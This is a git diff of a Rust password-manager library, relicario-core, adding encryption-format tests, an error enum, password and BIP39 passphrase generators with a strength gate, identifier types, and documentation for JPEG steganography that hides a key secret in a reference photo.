let flip_pos = HEADER_LEN + 2;
|
||||
ciphertext[flip_pos] ^= 0xFF;
|
||||
|
||||
let result = decrypt(&key, &ciphertext);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ciphertext_format_has_correct_structure() {
|
||||
let key = [0x11u8; 32];
|
||||
let plaintext = b"test plaintext for structure check";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
|
||||
// Expected length: 1 (version) + 24 (nonce) + plaintext_len + 16 (tag)
|
||||
let expected_len = 1 + 24 + plaintext.len() + 16;
|
||||
assert_eq!(ciphertext.len(), expected_len);
|
||||
|
||||
// Version byte must be 0x02
|
||||
assert_eq!(ciphertext[0], 0x02);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn length_prefix_eliminates_concatenation_ambiguity() {
|
||||
// Without length-prefix: ("abc", [0x44, ...]) and ("abcD", [...]) could collide.
|
||||
// With length-prefix: distinct inputs always yield distinct keys.
|
||||
let salt = [0u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
// Pair A: passphrase "abc", image_secret starts with 0x44
|
||||
let mut img_a = [0u8; 32]; img_a[0] = 0x44;
|
||||
let key_a = derive_master_key(b"abc", &img_a, &salt, ¶ms).unwrap();
|
||||
|
||||
// Pair B: passphrase "abcD" (one extra char), image_secret starts with original byte 1
|
||||
let mut img_b = [0u8; 32]; img_b[0] = 0x44; // same image
|
||||
let key_b = derive_master_key(b"abcD", &img_b, &salt, ¶ms).unwrap();
|
||||
|
||||
// With length-prefix, the keys MUST differ.
|
||||
assert_ne!(*key_a, *key_b);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nfc_normalization_collapses_unicode_forms() {
|
||||
// "café" can be written as NFC (é = U+00E9) or NFD (e + U+0301).
|
||||
// Both must produce the same key after NFC normalization.
|
||||
let salt = [0u8; 32];
|
||||
let img = [0u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let nfc = "caf\u{00e9}".as_bytes(); // é precomposed
|
||||
let nfd = "cafe\u{0301}".as_bytes(); // e + combining acute
|
||||
|
||||
let key_nfc = derive_master_key(nfc, &img, &salt, ¶ms).unwrap();
|
||||
let key_nfd = derive_master_key(nfd, &img, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_eq!(*key_nfc, *key_nfd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn master_key_is_zeroized_on_drop() {
|
||||
// Smoke test: master_key returns a Zeroizing<[u8; 32]>, which compiles only if
|
||||
// we wrap correctly. The drop wipe is verified by the zeroize crate's tests.
|
||||
let salt = [0u8; 32];
|
||||
let img = [0u8; 32];
|
||||
let params = fast_params();
|
||||
let key: zeroize::Zeroizing<[u8; 32]> = derive_master_key(b"x", &img, &salt, ¶ms).unwrap();
|
||||
assert_eq!(key.len(), 32);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn version_byte_is_0x02() {
|
||||
assert_eq!(VERSION_BYTE, 0x02);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decrypt_rejects_v1_blob_with_typed_error() {
|
||||
// Construct a v1-style blob: [0x01][24 nonce bytes][16 tag bytes].
|
||||
let mut blob = vec![0x01u8];
|
||||
blob.extend_from_slice(&[0u8; 24]);
|
||||
blob.extend_from_slice(&[0u8; 16]);
|
||||
|
||||
let key = Zeroizing::new([0u8; 32]);
|
||||
let err = decrypt(&*key, &blob).expect_err("v1 blob should fail decrypt");
|
||||
match err {
|
||||
RelicarioError::UnsupportedFormatVersion { found, expected } => {
|
||||
assert_eq!(found, 0x01);
|
||||
assert_eq!(expected, 0x02);
|
||||
}
|
||||
other => panic!("expected UnsupportedFormatVersion, got {:?}", other),
|
||||
}
|
||||
}
|
||||
}
|
||||
133
crates/relicario-core/src/error.rs
Normal file
133
crates/relicario-core/src/error.rs
Normal file
@@ -0,0 +1,133 @@
|
||||
//! Unified error type for the relicario-core crate.
|
||||
//!
|
||||
//! Every fallible function in this crate returns [`Result<T>`], which is an alias
|
||||
//! for `std::result::Result<T, RelicarioError>`. Using a single error enum keeps the
|
||||
//! public API surface predictable and makes error handling in callers (CLI, WASM
|
||||
//! bindings, mobile FFI) straightforward.
|
||||
|
||||
use thiserror::Error;
|
||||
|
||||
/// All errors that can originate from relicario-core operations.
|
||||
///
|
||||
/// Variants are ordered roughly by the pipeline stage where they occur:
|
||||
/// KDF -> encryption -> decryption -> format parsing -> item lookup -> image
|
||||
/// steganography -> serialization -> device keys.
|
||||
#[derive(Debug, Error)]
|
||||
pub enum RelicarioError {
|
||||
/// The Argon2id key derivation failed. This typically means invalid KDF
|
||||
/// parameters were supplied (e.g., memory cost below Argon2's minimum).
|
||||
#[error("key derivation failed: {0}")]
|
||||
Kdf(String),
|
||||
|
||||
/// XChaCha20-Poly1305 encryption failed. In practice this is extremely rare
|
||||
/// -- the only realistic cause is an internal library error, since the cipher
|
||||
/// accepts arbitrary-length plaintext.
|
||||
#[error("encryption failed: {0}")]
|
||||
Encrypt(String),
|
||||
|
||||
/// Authenticated decryption failed. Message intentionally opaque (audit M4).
|
||||
#[error("decryption failed")]
|
||||
Decrypt,
|
||||
|
||||
/// The binary ciphertext blob does not match the expected format (e.g.,
|
||||
/// too short to contain the version byte + nonce + tag, or an unrecognized
|
||||
/// version byte). This usually indicates file corruption or a version
|
||||
/// mismatch between the writer and reader.
|
||||
#[error("invalid vault format: {0}")]
|
||||
Format(String),
|
||||
|
||||
#[error("unsupported vault format version: found 0x{found:02x}, expected 0x{expected:02x}")]
|
||||
UnsupportedFormatVersion { found: u8, expected: u8 },
|
||||
|
||||
/// An item was looked up by ID but does not exist in the manifest.
|
||||
#[error("item not found: {0}")]
|
||||
ItemNotFound(String),
|
||||
|
||||
/// A passphrase failed the strength gate at vault creation (audit H3).
|
||||
#[error("passphrase strength insufficient (score {score}/4)")]
|
||||
WeakPassphrase { score: u8 },
|
||||
|
||||
/// An attachment exceeded the per-attachment cap from VaultSettings.
|
||||
#[error("attachment too large: {size} bytes > {max} bytes max")]
|
||||
AttachmentTooLarge { size: u64, max: u64 },
|
||||
|
||||
/// A general error from the image steganography subsystem (imgsecret).
|
||||
/// Covers issues like failing to decode the carrier JPEG or failing to
|
||||
/// encode the output JPEG after modification.
|
||||
#[error("imgsecret: {0}")]
|
||||
ImgSecret(String),
|
||||
|
||||
/// The carrier image is too small to hold the embedded secret with
|
||||
/// sufficient redundancy. The embed region (central 70% of the image)
|
||||
/// must contain at least `BLOCKS_PER_COPY * MIN_COPIES` 8x8 blocks.
|
||||
#[error("image too small: need at least {min_width}x{min_height}, got {actual_width}x{actual_height}")]
|
||||
ImageTooSmall {
|
||||
min_width: u32,
|
||||
min_height: u32,
|
||||
actual_width: u32,
|
||||
actual_height: u32,
|
||||
},
|
||||
|
||||
/// Secret extraction from a JPEG failed. This can mean:
|
||||
/// - The image never had a secret embedded in it.
|
||||
/// - The image was recompressed below Q85, destroying the QIM watermarks.
|
||||
/// - The image was cropped beyond the 15% crumple zone.
|
||||
/// - Majority-vote confidence fell below the 60% threshold on one or more bits.
|
||||
#[error("extraction failed: no valid secret found in image")]
|
||||
ExtractionFailed,
|
||||
|
||||
/// JSON serialization or deserialization of an entry or manifest failed.
|
||||
/// Wraps [`serde_json::Error`] transparently via `#[from]`.
|
||||
#[error("json error: {0}")]
|
||||
Json(#[from] serde_json::Error),
|
||||
|
||||
/// An error related to device ed25519 key operations. Device keys are
|
||||
/// separate from the vault KDF -- revoking a device does not require
|
||||
/// rotating the passphrase or reference image.
|
||||
#[error("device key error: {0}")]
|
||||
DeviceKey(String),
|
||||
}
|
||||
|
||||
/// Crate-wide result alias, reducing boilerplate in function signatures.
|
||||
pub type Result<T> = std::result::Result<T, RelicarioError>;
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn decrypt_error_message_is_opaque() {
|
||||
let err = RelicarioError::Decrypt;
|
||||
assert_eq!(format!("{}", err), "decryption failed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn weak_passphrase_carries_score() {
|
||||
let err = RelicarioError::WeakPassphrase { score: 1 };
|
||||
let s = format!("{}", err);
|
||||
assert!(s.contains("passphrase"));
|
||||
assert!(s.contains("strength"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_too_large_reports_sizes() {
|
||||
let err = RelicarioError::AttachmentTooLarge { size: 11_000_000, max: 10_485_760 };
|
||||
let s = format!("{}", err);
|
||||
assert!(s.contains("11000000"));
|
||||
assert!(s.contains("10485760"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_not_found_carries_id() {
|
||||
let err = RelicarioError::ItemNotFound("abc123".to_string());
|
||||
assert!(format!("{}", err).contains("abc123"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unsupported_format_version_reports_byte() {
|
||||
let err = RelicarioError::UnsupportedFormatVersion { found: 0x01, expected: 0x02 };
|
||||
let s = format!("{}", err);
|
||||
assert!(s.contains("01") || s.contains("1"));
|
||||
assert!(s.contains("02") || s.contains("2"));
|
||||
}
|
||||
}
|
||||
269
crates/relicario-core/src/generators.rs
Normal file
269
crates/relicario-core/src/generators.rs
Normal file
@@ -0,0 +1,269 @@
|
||||
//! Password and passphrase generators. CSPRNG-only; rejection-sampled to
|
||||
//! eliminate modulo bias. Strength rating via zxcvbn.
|
||||
|
||||
use bip39::{Language, Mnemonic};
|
||||
use rand::distributions::{Distribution, Uniform};
|
||||
use rand::rngs::OsRng;
|
||||
use rand::RngCore;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::error::{RelicarioError, Result};
|
||||
use crate::settings::{Capitalization, CharClasses, GeneratorRequest, SymbolCharset};
|
||||
|
||||
const SAFE_SYMBOLS: &[u8] = b"!@#$%^&*-_=+";
|
||||
const EXTENDED_SYMBOLS: &[u8] = b"!@#$%^&*-_=+~?.";
|
||||
const LOWER: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
|
||||
const UPPER: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
const DIGITS: &[u8] = b"0123456789";
|
||||
|
||||
pub fn generate_password(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
|
||||
match req {
|
||||
GeneratorRequest::Random { length, classes, symbol_charset } => {
|
||||
random_password(*length, classes, symbol_charset)
|
||||
}
|
||||
GeneratorRequest::Bip39 { .. } => Err(RelicarioError::Format(
|
||||
"use generate_passphrase() for BIP39 requests".into(),
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn random_password(
|
||||
length: u32,
|
||||
classes: &CharClasses,
|
||||
symbol_charset: &SymbolCharset,
|
||||
) -> Result<Zeroizing<String>> {
|
||||
if length == 0 || length > 128 {
|
||||
return Err(RelicarioError::Format("length must be 1..=128".into()));
|
||||
}
|
||||
let mut charset: Vec<u8> = Vec::new();
|
||||
if classes.lower { charset.extend_from_slice(LOWER); }
|
||||
if classes.upper { charset.extend_from_slice(UPPER); }
|
||||
if classes.digits { charset.extend_from_slice(DIGITS); }
|
||||
if classes.symbols {
|
||||
let symbols: &[u8] = match symbol_charset {
|
||||
SymbolCharset::SafeOnly => SAFE_SYMBOLS,
|
||||
SymbolCharset::Extended => EXTENDED_SYMBOLS,
|
||||
SymbolCharset::Custom(s) => {
|
||||
if !s.is_ascii() {
|
||||
return Err(RelicarioError::Format(
|
||||
"SymbolCharset::Custom must be ASCII-only".into(),
|
||||
));
|
||||
}
|
||||
s.as_bytes()
|
||||
}
|
||||
};
|
||||
charset.extend_from_slice(symbols);
|
||||
}
|
||||
if charset.is_empty() {
|
||||
return Err(RelicarioError::Format("at least one character class required".into()));
|
||||
}
|
||||
|
||||
let dist = Uniform::from(0..charset.len());
|
||||
let mut rng = OsRng;
|
||||
let bytes: Vec<u8> = (0..length).map(|_| charset[dist.sample(&mut rng)]).collect();
|
||||
Ok(Zeroizing::new(String::from_utf8(bytes).expect("ascii-only charset")))
|
||||
}
|
||||
|
||||
pub fn generate_passphrase(req: &GeneratorRequest) -> Result<Zeroizing<String>> {
|
||||
match req {
|
||||
GeneratorRequest::Bip39 { word_count, separator, capitalization } => {
|
||||
bip39_passphrase(*word_count, separator, *capitalization)
|
||||
}
|
||||
GeneratorRequest::Random { .. } => Err(RelicarioError::Format(
|
||||
"use generate_password() for Random requests".into(),
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn bip39_passphrase(word_count: u32, separator: &str, cap: Capitalization) -> Result<Zeroizing<String>> {
|
||||
if !matches!(word_count, 3..=12) {
|
||||
return Err(RelicarioError::Format("word_count must be 3..=12".into()));
|
||||
}
|
||||
// bip39 v2 requires entropy 128–256 bits in multiples of 32 bits (4 bytes).
|
||||
// We always generate 128 bits (16 bytes) → 12 words, then take the first
|
||||
// word_count words. This gives full-entropy sourcing even for short passphrases.
|
||||
let mut entropy = Zeroizing::new([0u8; 16]);
|
||||
OsRng.fill_bytes(entropy.as_mut_slice());
|
||||
let m = Mnemonic::from_entropy_in(Language::English, entropy.as_slice())
|
||||
.map_err(|e| RelicarioError::Format(format!("bip39: {e}")))?;
|
||||
let words: Vec<String> = m.words().take(word_count as usize).map(|w| {
|
||||
match cap {
|
||||
Capitalization::Lower => w.to_ascii_lowercase(),
|
||||
Capitalization::Upper => w.to_ascii_uppercase(),
|
||||
Capitalization::FirstOfEach | Capitalization::Title => {
|
||||
let mut chars = w.chars();
|
||||
chars.next().map(|c| c.to_ascii_uppercase().to_string())
|
||||
.unwrap_or_default() + chars.as_str()
|
||||
}
|
||||
Capitalization::Mixed => {
|
||||
w.chars().enumerate().map(|(i, c)| {
|
||||
if i % 2 == 0 { c.to_ascii_uppercase() } else { c }
|
||||
}).collect()
|
||||
}
|
||||
}
|
||||
}).collect();
|
||||
Ok(Zeroizing::new(words.join(separator)))
|
||||
}
|
||||
|
||||
/// Returns zxcvbn's 0-4 score (higher is stronger) and the estimated guesses.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct StrengthEstimate {
|
||||
pub score: u8,
|
||||
pub guesses_log10: f64,
|
||||
}
|
||||
|
||||
pub fn rate_passphrase(p: &str) -> StrengthEstimate {
|
||||
let est = zxcvbn::zxcvbn(p, &[]);
|
||||
StrengthEstimate {
|
||||
score: est.score().into(),
|
||||
guesses_log10: est.guesses_log10(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Strength gate at vault creation (audit H3): require score >= 3.
|
||||
pub fn validate_passphrase_strength(p: &str) -> Result<()> {
|
||||
let est = rate_passphrase(p);
|
||||
if est.score < 3 {
|
||||
return Err(RelicarioError::WeakPassphrase { score: est.score });
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod bip39_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn bip39_default_is_5_space_separated_words() {
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 5,
|
||||
separator: " ".into(),
|
||||
capitalization: Capitalization::Lower,
|
||||
};
|
||||
let pw = generate_passphrase(&req).unwrap();
|
||||
assert_eq!(pw.split(' ').count(), 5);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bip39_dash_separator() {
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 4,
|
||||
separator: "-".into(),
|
||||
capitalization: Capitalization::Lower,
|
||||
};
|
||||
let pw = generate_passphrase(&req).unwrap();
|
||||
assert_eq!(pw.split('-').count(), 4);
|
||||
assert!(!pw.contains(' '));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bip39_first_of_each_capitalizes() {
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 5,
|
||||
separator: " ".into(),
|
||||
capitalization: Capitalization::FirstOfEach,
|
||||
};
|
||||
let pw = generate_passphrase(&req).unwrap();
|
||||
for word in pw.split(' ') {
|
||||
let first = word.chars().next().unwrap();
|
||||
assert!(first.is_ascii_uppercase(), "word {word} should start uppercase");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bip39_rejects_bad_word_count() {
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 2,
|
||||
separator: " ".into(),
|
||||
capitalization: Capitalization::Lower,
|
||||
};
|
||||
assert!(generate_passphrase(&req).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rate_passphrase_strong_one_passes_gate() {
|
||||
// 6-word bip39 passphrase
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 6,
|
||||
separator: " ".into(),
|
||||
capitalization: Capitalization::Lower,
|
||||
};
|
||||
let pw = generate_passphrase(&req).unwrap();
|
||||
assert!(validate_passphrase_strength(&pw).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rate_passphrase_weak_fails_gate() {
|
||||
assert!(validate_passphrase_strength("password").is_err());
|
||||
assert!(validate_passphrase_strength("12345678").is_err());
|
||||
assert!(validate_passphrase_strength("hunter2").is_err());
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn random_default_password_is_20_chars() {
|
||||
let req = GeneratorRequest::default();
|
||||
let pw = generate_password(&req).unwrap();
|
||||
assert_eq!(pw.len(), 20);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_zero_length() {
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 0,
|
||||
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
};
|
||||
assert!(generate_password(&req).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_no_classes() {
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 8,
|
||||
classes: CharClasses { lower: false, upper: false, digits: false, symbols: false },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
};
|
||||
assert!(generate_password(&req).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn lower_only_password_uses_lowercase() {
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 100,
|
||||
classes: CharClasses { lower: true, upper: false, digits: false, symbols: false },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
};
|
||||
let pw = generate_password(&req).unwrap();
|
||||
assert!(pw.chars().all(|c| c.is_ascii_lowercase()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn safe_symbols_excludes_quotes_and_brackets() {
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 128,
|
||||
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
};
|
||||
let pw = generate_password(&req).unwrap();
|
||||
for c in pw.chars() {
|
||||
assert!(!matches!(c, '\'' | '"' | '`' | ',' | ';' | ':' | '{' | '}' | '[' | ']' | '<' | '>' | '(' | ')' | '|' | '\\' | '/' | '?'),
|
||||
"safe charset must not include {c}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn custom_charset_rejects_non_ascii() {
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 8,
|
||||
classes: CharClasses { lower: false, upper: false, digits: false, symbols: true },
|
||||
symbol_charset: SymbolCharset::Custom("ñé".into()),
|
||||
};
|
||||
let err = generate_password(&req);
|
||||
assert!(err.is_err(), "non-ASCII custom charset must be rejected");
|
||||
}
|
||||
}
|
||||
124
crates/relicario-core/src/ids.rs
Normal file
124
crates/relicario-core/src/ids.rs
Normal file
@@ -0,0 +1,124 @@
|
||||
//! Random and content-addressed identifiers for items, fields, and attachments.
|
||||
//!
|
||||
//! - `ItemId` and `FieldId` are random 16-char hex strings (64 bits of entropy)
|
||||
//! generated via `OsRng` (audit M8: bumped from the v1 8-char/32-bit format).
|
||||
//! - `AttachmentId` is the first 16 hex chars of `sha256(plaintext)` —
|
||||
//! content-addressed so identical plaintext blobs deduplicate naturally in git.
|
||||
|
||||
use rand::rngs::OsRng;
|
||||
use rand::RngCore;
|
||||
use sha2::{Digest, Sha256};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||
#[serde(transparent)]
|
||||
pub struct ItemId(pub String);
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||
#[serde(transparent)]
|
||||
pub struct FieldId(pub String);
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||
#[serde(transparent)]
|
||||
pub struct AttachmentId(pub String);
|
||||
|
||||
impl ItemId {
|
||||
pub fn new() -> Self {
|
||||
let mut bytes = [0u8; 8];
|
||||
OsRng.fill_bytes(&mut bytes);
|
||||
Self(hex::encode(bytes))
|
||||
}
|
||||
pub fn as_str(&self) -> &str { &self.0 }
|
||||
}
|
||||
|
||||
impl Default for ItemId {
|
||||
fn default() -> Self { Self::new() }
|
||||
}
|
||||
|
||||
impl FieldId {
|
||||
pub fn new() -> Self {
|
||||
let mut bytes = [0u8; 8];
|
||||
OsRng.fill_bytes(&mut bytes);
|
||||
Self(hex::encode(bytes))
|
||||
}
|
||||
pub fn as_str(&self) -> &str { &self.0 }
|
||||
}
|
||||
|
||||
impl Default for FieldId {
|
||||
fn default() -> Self { Self::new() }
|
||||
}
|
||||
|
||||
impl AttachmentId {
|
||||
pub fn from_plaintext(plaintext: &[u8]) -> Self {
|
||||
let digest = Sha256::digest(plaintext);
|
||||
Self(hex::encode(&digest[..8]))
|
||||
}
|
||||
pub fn as_str(&self) -> &str { &self.0 }
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn item_id_is_16_hex_chars() {
|
||||
let id = ItemId::new();
|
||||
assert_eq!(id.0.len(), 16);
|
||||
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_ids_are_unique() {
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
for _ in 0..10_000 {
|
||||
assert!(seen.insert(ItemId::new().0));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_id_is_16_hex_chars() {
|
||||
let id = FieldId::new();
|
||||
assert_eq!(id.0.len(), 16);
|
||||
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_ids_are_unique() {
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
for _ in 0..10_000 {
|
||||
assert!(seen.insert(FieldId::new().0));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_id_is_deterministic() {
|
||||
let plaintext = b"hello world";
|
||||
let a = AttachmentId::from_plaintext(plaintext);
|
||||
let b = AttachmentId::from_plaintext(plaintext);
|
||||
assert_eq!(a, b);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_id_changes_with_plaintext() {
|
||||
let a = AttachmentId::from_plaintext(b"hello");
|
||||
let b = AttachmentId::from_plaintext(b"world");
|
||||
assert_ne!(a, b);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_id_is_16_hex_chars() {
|
||||
let id = AttachmentId::from_plaintext(b"any bytes");
|
||||
assert_eq!(id.0.len(), 16);
|
||||
assert!(id.0.chars().all(|c| c.is_ascii_hexdigit()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ids_serialize_as_bare_strings() {
|
||||
let item = ItemId("abcdef0123456789".to_string());
|
||||
let json = serde_json::to_string(&item).unwrap();
|
||||
assert_eq!(json, "\"abcdef0123456789\"");
|
||||
|
||||
let parsed: ItemId = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed, item);
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,45 @@
|
||||
//! DCT-based secret embedding that survives JPEG re-encoding and mild cropping.
|
||||
//! DCT-based steganographic embedding of a 256-bit secret in JPEG images.
|
||||
//!
|
||||
//! Hides a 256-bit secret in the mid-frequency DCT coefficients of the luminance
|
||||
//! channel using Quantization Index Modulation (QIM) with majority voting.
|
||||
//! This is the novel component of relicario. It hides a 32-byte secret inside a
|
||||
//! JPEG image's luminance channel using Quantization Index Modulation (QIM) on
|
||||
//! mid-frequency DCT coefficients, with majority voting across multiple redundant
|
||||
//! copies for robustness.
|
||||
//!
|
||||
//! ## High-level algorithm
|
||||
//!
|
||||
//! ### Embedding (`embed`)
|
||||
//!
|
||||
//! 1. Decode the carrier JPEG and extract the luminance (Y) channel.
|
||||
//! 2. Compute the "embed region" -- the central 70% of the image (15% margin
|
||||
//! on each side acts as a crumple zone for mild cropping).
|
||||
//! 3. Divide the embed region into 8x8 pixel blocks and select evenly-spaced
|
||||
//! blocks for embedding.
|
||||
//! 4. For each copy of the secret (5-50 copies depending on image size):
|
||||
//! - For each of the 22 blocks needed to hold 256 bits (12 bits per block):
|
||||
//! - Apply the 2D DCT to the 8x8 block.
|
||||
//! - Embed bits into 12 mid-frequency DCT coefficients using QIM.
|
||||
//! - Apply the inverse DCT to write the modified block back.
|
||||
//! 5. Reconstruct the JPEG by replacing only the Y channel and re-encoding.
|
||||
//!
|
||||
//! ### Extraction (`extract`)
|
||||
//!
|
||||
//! 1. Decode the JPEG and extract the Y channel.
|
||||
//! 2. Try the canonical extraction (assuming the image is uncropped).
|
||||
//! 3. If that fails, try crop-recovery: search for plausible original dimensions
|
||||
//! and pixel offsets, reconstructing the block grid accordingly.
|
||||
//! 4. For each copy of the secret, extract bits from DCT coefficients via QIM.
|
||||
//! 5. Majority-vote each bit position across all copies. Require >= 60% confidence.
|
||||
//!
|
||||
//! ## Robustness
|
||||
//!
|
||||
//! The combination of QIM with a high quantization step (50.0), mid-frequency
|
||||
//! coefficient placement, and majority voting across many copies makes the
|
||||
//! watermark survive:
|
||||
//! - JPEG recompression down to quality ~85
|
||||
//! - Mild cropping (up to ~10% from edges, within the 15% crumple zone)
|
||||
//! - Color space conversions (embedding is in luminance only)
|
||||
|
||||
use crate::error::{IdfotoError, Result};
|
||||
use crate::error::{RelicarioError, Result};
|
||||
use image::codecs::jpeg::JpegEncoder;
|
||||
use image::ImageReader;
|
||||
use image::{ImageEncoder, Rgb, RgbImage};
|
||||
@@ -12,43 +48,160 @@ use std::io::Cursor;
|
||||
|
||||
// ─── Constants ───────────────────────────────────────────────────────────────
|
||||
|
||||
/// DCT block size. JPEG uses 8x8 blocks, so we match that to minimize
|
||||
/// interference with the JPEG codec's own quantization.
|
||||
const BLOCK_SIZE: usize = 8;
|
||||
|
||||
/// QIM quantization step. Higher values make the watermark more robust to
|
||||
/// recompression but introduce more visible artifacts. A value of 50.0 is
|
||||
/// higher than the typical academic value of 25 -- this is intentional because
|
||||
/// we need to survive JPEG recompression at Q85 and below, which applies
|
||||
/// aggressive quantization to mid-frequency coefficients. The trade-off is
|
||||
/// acceptable because the reference image is a personal photo, not a
|
||||
/// publication-quality image.
|
||||
const QUANT_STEP: f64 = 50.0;
|
||||
|
||||
/// Minimum image dimension (width or height) in pixels. Images smaller than
|
||||
/// this cannot hold enough 8x8 blocks for reliable embedding.
|
||||
const MIN_DIMENSION: u32 = 100;
|
||||
|
||||
/// Maximum image dimension (width or height) in pixels. Images larger than
|
||||
/// this are rejected before full decode to prevent DoS via attacker-supplied
|
||||
/// oversized JPEGs (audit M3).
|
||||
pub const MAX_DIMENSION: u32 = 10_000;
|
||||
|
||||
/// Number of secret bits to embed: 256 bits = 32 bytes.
|
||||
const SECRET_BITS: usize = 256;
|
||||
|
||||
/// Minimum number of redundant copies of the secret. More copies improve
|
||||
/// extraction reliability via majority voting, but require more blocks.
|
||||
const MIN_COPIES: usize = 5;
|
||||
|
||||
/// Number of mid-frequency DCT positions used per block. Each block carries
|
||||
/// 12 bits of the secret. This matches `EMBED_POSITIONS.len()`.
|
||||
const BITS_PER_BLOCK: usize = 12; // EMBED_POSITIONS.len()
|
||||
|
||||
/// Number of 8x8 blocks needed to hold one complete copy of the 256-bit secret.
|
||||
/// ceil(256 / 12) = 22 blocks per copy.
|
||||
const BLOCKS_PER_COPY: usize = (SECRET_BITS + BITS_PER_BLOCK - 1) / BITS_PER_BLOCK; // 22
|
||||
|
||||
/// Mid-frequency DCT positions (zig-zag positions 4–15)
|
||||
/// Mid-frequency DCT coefficient positions for embedding, specified as
|
||||
/// (row, col) indices into the 8x8 DCT coefficient matrix.
|
||||
///
|
||||
/// These correspond to zig-zag scan positions 6 through 17 -- the "sweet spot"
|
||||
/// between low-frequency coefficients (which carry visible image structure and
|
||||
/// are heavily quantized by JPEG) and high-frequency coefficients (which carry
|
||||
/// noise/detail and are aggressively zeroed by JPEG compression).
|
||||
///
|
||||
/// Mid-frequency coefficients survive JPEG recompression better than high-frequency
|
||||
/// ones, while causing less visible distortion than modifying low-frequency ones.
|
||||
///
|
||||
/// The zig-zag ordering is the standard JPEG scan order:
|
||||
/// ```text
|
||||
/// Zig-zag positions 6-9: (0,3) (1,2) (2,1) (3,0)
|
||||
/// Zig-zag positions 10-13: (4,0) (3,1) (2,2) (1,3)
|
||||
/// Zig-zag positions 14-17: (0,4) (0,5) (1,4) (2,3)
|
||||
/// ```
|
||||
const EMBED_POSITIONS: [(usize, usize); 12] = [
|
||||
(0, 3),
|
||||
(1, 2),
|
||||
(2, 1),
|
||||
(3, 0), // zig-zag 4-7
|
||||
(3, 0), // zig-zag 6-9
|
||||
(0, 4),
|
||||
(1, 3),
|
||||
(2, 2),
|
||||
(3, 1), // zig-zag 8-11
|
||||
(3, 1), // zig-zag 10-13
|
||||
(4, 0),
|
||||
(0, 5),
|
||||
(1, 4),
|
||||
(2, 3), // zig-zag 12-15
|
||||
